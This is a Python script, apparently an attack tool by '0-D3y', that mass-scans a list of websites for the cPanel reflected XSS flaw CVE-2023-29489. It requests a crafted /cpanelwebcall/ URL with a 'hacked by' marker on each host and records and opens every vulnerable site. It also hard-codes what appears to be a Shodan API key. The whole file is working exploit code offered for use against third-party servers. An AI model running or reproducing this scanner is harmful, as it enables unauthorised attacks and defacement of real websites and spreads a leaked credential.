import shodan import requests from bs4 import BeautifulSoup from urllib.parse import urljoin import os import platform import socket import webbrowser import pyfiglet from concurrent.futures import ThreadPoolExecutor YE_X = 'tt2P5vHq83hdJTG69YK9ffdsZLboHqquDd1t' RED = "\033[31m" GREEN = "\033[32m" YELLOW = "\033[33m" MAGENTA = "\033[35m" WHITE = "\033[37m" RESET = "\033[0m" if platform.system() == 'Windows': os.system(f'title Exploit XSS CVE-2023-29489 - By 0-D3y') not_exploit = 0 exploit = 0 error_connect = 0 def logo_start(): os.system('cls' if platform.system() == 'Windows' else 'clear') logo = pyfiglet.figlet_format("CVE-2023-29489", font="slant") print(f"{RED}{logo}{RESET}") print(f"{YELLOW} By : Mr.Sami{RESET}\n") def search_cpanel_hosts(api_key): hosts = input(f"\n\n{RED}╔═══[ ENTER URL LIST ]\n╚══>>> {RESET}") with open(hosts, 'r') as file_site: for host in file_site: host = host.strip().replace("https://", "").replace("http://", "").replace("/", "") if host: yield host def test_xss(url): hacked = """/cpanelwebcall/hacked%20by%200-D3y""" xss_url = urljoin(url, hacked) try: response = requests.get(xss_url, verify=False, timeout=5) soup = BeautifulSoup(response.text, 'html.parser') img_tags = soup.find_all('img', src='x') for img_tag in img_tags: if img_tag.get('onerror') == "prompt(0-D3y)": return True except Exception as e: pass return False def process_host(host): global exploit, not_exploit, error_connect ip = socket.gethostbyname(host) for protocol in ['http', 'https']: url = f'{protocol}://{host}' if test_xss(url): print(f'{MAGENTA}[+]{GREEN} Exploit XSS >>>{WHITE} {url} ~ {ip}{RESET}') exploit += 1 with open("CVE-2023-29489.txt", "a") as xss_file: xss_file.write(f"{url}/cpanelwebcall/hacked%20by%200-D3y\n") webbrowser.open(f"{url}/cpanelwebcall/hacked%20by%200-D3y") else: print(f'{MAGENTA}[+]{RED} Not Exploit >>>{WHITE} {url} ~ {ip}{RESET}') not_exploit += 1 if platform.system() == 'Windows': os.system(f'title Exploit XSS - ({exploit}) Not Exploit - ({not_exploit}) Error - ({error_connect}) - By 0-D3y') if __name__ == '__main__': logo_start() with ThreadPoolExecutor(max_workers=10) as executor: executor.map(process_host, search_cpanel_hosts(YE_X))